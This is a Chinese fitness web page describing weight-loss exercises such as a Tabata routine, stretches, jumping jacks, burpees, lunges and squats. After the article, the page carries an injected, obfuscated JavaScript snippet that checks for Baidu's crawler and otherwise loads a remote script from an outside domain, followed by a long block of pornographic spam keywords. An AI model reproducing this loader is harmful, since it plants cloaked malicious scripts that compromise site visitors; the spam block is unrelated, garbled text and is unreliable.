當前位置:首頁 > 減肥 > 運動減肥 > 正文

有什么減肥運動嗎

2017-04-21 16:11:31  來源:360常識網   熱度:
導語:誰不想擁有苗條迷人的身材,這樣穿衣搭配會很出彩,但是往往自己的身材會出現很多的不滿意的地方,有的干脆就是個胖子,這樣讓自己也很沒有

誰不想擁有苗條迷人的身材,這樣穿衣搭配會很出彩,但是往往自己的身材會出現很多的不滿意的地方,有的干脆就是個胖子,這樣讓自己也很沒有信心,那么,有什么減肥運動?這是很多人想要知道的,其實確實有很多的減肥運動,像跑步、跳操、還有搏擊,以及瑜伽等等,但是想要讓自己擁有健美的身材,是需要趕緊行動起來的,下面就介紹一下。

Tabata運動,每天30分鐘就行!

正式開始運動前,做一些輕巧的拉伸運動放松肌肉后,再從簡單的全身運動開始做。

基本拉伸運動

Tabata運動開始做之前,先做放松上下身肌肉的拉伸動作。

1. 兩腳打開肩寬站好,右手伸到胸前,左手用力壓右手臂的胳膊肘。交換手臂方向,做同樣的動作。

2. 兩臂聚過頭頂,兩手各自抓住另一邊手臂的胳膊肘,吸氣,身體盡量往一邊彎曲。

3. 兩腳打開,一前一后,距離約肩寬的1.5倍,站好后,右腿彎曲90度。

全身減肥運動1. Jmping jaCK

JumpingjaCK用一句話說,就是伸胳膊跳躍。只要有夠伸胳膊的空間,哪里都可以做。看起來很簡單,但動作一定要準確到位,這樣才能達到效果。

1. 兩腳打開站好,距離為肩寬的1.5倍。

2. 邊跳躍,兩腳邊打開到更大距離,手臂舉到頭頂,盡量靠攏

3. 再次跳躍,回到立正姿勢。動作幅度越大,效果越好。

全身減肥運動2. Buppie

Buppie是同時結合有氧&無氧的動作。15~20次為一組,一天重復2組。

1. 端正站好的狀態下,吸氣,膝蓋彎曲,抵到地板,胳膊肘彎曲,完全躺在地板上,做俯臥撐動作。

2. 雙腿同時往手的方向提,變成縮起來的姿勢。

3. 重新回到俯臥撐的動作。

瘦腿和瘦手臂的動作

弓步和蹲坐能有效減掉下半身脂肪,和瘦手臂的俯臥撐一起做的話,消耗的熱量更多。

側弓步

練習側弓步是擴大走路的步調,有利于打造大腿后側和臀部的曲線,堅持下去的話,擁有美臀只是時間問題。

1. 站立,深呼吸。

2. 一邊腿向前伸,另一邊膝蓋彎曲,直到碰到地板。

3. 像走路一樣換腿,重復此動作。

翹臀深蹲

不需要啞鈴或任何器械,就能做到的減肥動作。下蹲姿勢不到位的話,會使腰部和膝蓋受傷,所以一定要正確。

1. 兩腳打開站好,距離稍大于肩寬,臀部最大程度往后提,膝蓋彎曲,慢慢蹲下,再起來。重點是蹲下去時吸氣,站起來時呼氣。

2. 完全蹲下去后,重心移到腳后跟,膝蓋不能比腳尖突出。手指尖和視線高度在一條直線上,抓住重心。

打造無贅肉腹部和腰部的運動

消除腹部、腰部贅肉的Tabata運動主要有抬腿、仰臥起坐、爬山,很簡單,持續下去的話,可以看到不錯的效果。

上面的內容介紹了幾個減肥運動,這些運動大家可以根據要領學習一下,讓自己多學習兩遍,就能夠掌握了,然后每天抽出時間來運動鍛煉一下,這樣讓自己能夠離自己的目標更加接近一些,努力付出汗水就會有收獲,這是千真萬確的,看看那些瘦身成功的人,一定要努力才行。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
中文字幕精品三区无码亚洲 | 在线精品视频一区二区| 久久永久免费人妻精品| 久久久久成人精品| 12345国产精品高清在线| 99在线精品视频观看免费| 亚洲youwu永久无码精品| 精品久久久无码中字| 日批日出水久久亚洲精品tv| 日韩一区二区三区在线精品| 精品午夜国产人人福利| 996久久国产精品线观看| 久久99精品国产99久久6男男| 久久久久久国产精品免费免费男同| 久久精品视频久久| 2021成人国产精品| 99热在线精品免费全部my| 国产精品视频1区| d动漫精品专区久久| 国产精品白丝jkav网站| 久久精品视频免费| 精品国精品无码自拍自在线| 十八禁无遮挡99精品国产| 四虎永久在线精品影院| 野狼第一精品社区| 蜜臀98精品国产免费观看| 国产69精品久久久久久久| 亚洲国产精品无码久久久久久曰 | 精品精品国产国产| 亚洲av午夜福利精品一区人妖| 精品人妻中文字幕有码在线 | 日产精品99久久久久久| 国产精品1024永久免费视频| 国产精品久久精品福利网站| 久久久久国产日韩精品网站| 亚洲综合国产精品| 国产精品无码专区AV在线播放| 国产精品内射婷婷一级二| 久久亚洲精品成人| 国产精品宾馆在线精品酒店| 久久国产精品一区|